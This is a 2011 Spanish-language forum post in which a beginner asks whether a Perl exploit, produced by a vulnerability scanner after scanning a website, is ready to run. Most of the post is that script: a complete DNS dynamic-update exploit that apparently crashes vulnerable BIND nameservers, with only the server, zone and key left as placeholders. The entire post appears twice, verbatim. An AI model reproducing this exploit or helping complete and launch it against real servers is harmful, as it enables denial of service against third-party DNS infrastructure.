[DUDA] Como utilazar Exlpoit (?)
Publicado: 11 Oct 2011, 22:09
Weenas INDETECTABLES, hace unas semanas saliendo un poco de lo basico empeze a meterme en lo que es exploit y sus tantas formas de explotar vulnerabilidades o aprobechar bug's.
Bueno despues de leer un poco, para entender mas use el SSS (Shadow Secutity Scanner) escanee una web y una ves encontrada las vulnerabilidades te da los exploit:
Exploit en perl: quiero saber si el exploit que me da ya esta listo para compilar y usar o se debe modificar o hacer algo mas
#!/usr/bin/perl -w
use Net::DNS;
our $NSI = '<dns server>';
our $NSI_KEY_NAME = '<key name>';
our $NSI_KEY = '<key>';
my $rzone = '<zone>';
my $rptr = "1.$rzone";
my $packet = Net::DNS::Update->new($rzone);
$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);
$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;
print $packet->string;
Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);
Perdon si parece una pregunta muy ignorante
Bueno despues de leer un poco, para entender mas use el SSS (Shadow Secutity Scanner) escanee una web y una ves encontrada las vulnerabilidades te da los exploit:
Exploit en perl: quiero saber si el exploit que me da ya esta listo para compilar y usar o se debe modificar o hacer algo mas
#!/usr/bin/perl -w
use Net::DNS;
our $NSI = '<dns server>';
our $NSI_KEY_NAME = '<key name>';
our $NSI_KEY = '<key>';
my $rzone = '<zone>';
my $rptr = "1.$rzone";
my $packet = Net::DNS::Update->new($rzone);
$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);
$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;
print $packet->string;
Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);
Perdon si parece una pregunta muy ignorante